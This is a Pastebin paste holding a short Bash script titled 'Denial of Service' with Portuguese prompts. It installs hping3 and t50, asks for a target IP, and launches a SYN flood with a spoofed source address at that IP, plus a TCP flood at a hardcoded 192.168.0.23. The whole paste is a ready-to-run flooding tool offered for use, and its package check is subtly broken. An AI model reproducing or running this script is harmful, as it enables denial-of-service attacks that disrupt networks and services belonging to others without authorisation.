Advertisement
DarkProgrammer000

Denial of Service (redes intenas)

Apr 28th, 2025
220
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.97 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. apresentacao()
  4. {
  5.     clear
  6.     echo -e "\033[01;31m ========================= \033[01;00m"
  7.     echo -e "\033[01;33m      Denial of Service    \033[01;00m"
  8.     echo -e "\033[01;31m ========================= \n\033[01;00m"
  9. }
  10.  
  11. entDados()
  12. {
  13.     echo -n -e "\033[01;35m\n# IP: \033[01;00m"
  14.     read ip
  15.     echo -e "\033[01;36m\n# Comandos em Janelas ativas \n\033[01;00m"
  16. }
  17.  
  18. verify()
  19. {
  20.     n1=$(dpkg -l hping3 > /dev/null 2>&1)
  21.     n2=$(dpkg -l t50 > /dev/null 2>&1)
  22.  
  23.     if ((n1 == 0))
  24.     then
  25.         echo -e "\033[01;32m# Hping3 instalada \033[01;00m"
  26.     else
  27.         apt-get install hping3
  28.     fi
  29.  
  30.     if ((n2 == 0))
  31.     then
  32.         echo -e "\033[01;32m# T50 instalada\033[01;00m"
  33.     else   
  34.         apt-get install t50
  35.     fi
  36. }
  37.  
  38. terminal_1()
  39. {
  40.     gnome-terminal -- bash -c "hping3 -S --flood -a 1.2.3.4 -p 80 -d 1400 $ip"
  41. }
  42.  
  43. terminal_2()
  44. {
  45.     gnome-terminal -- bash -c "t50 192.168.0.23 --flood --protocol TCP"
  46. }
  47.  
  48. metodos()
  49. {
  50.     apresentacao
  51.     verify
  52.     entDados
  53.     terminal_1
  54.     terminal_2
  55. }
  56.  
  57. # Programa
  58. metodos
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement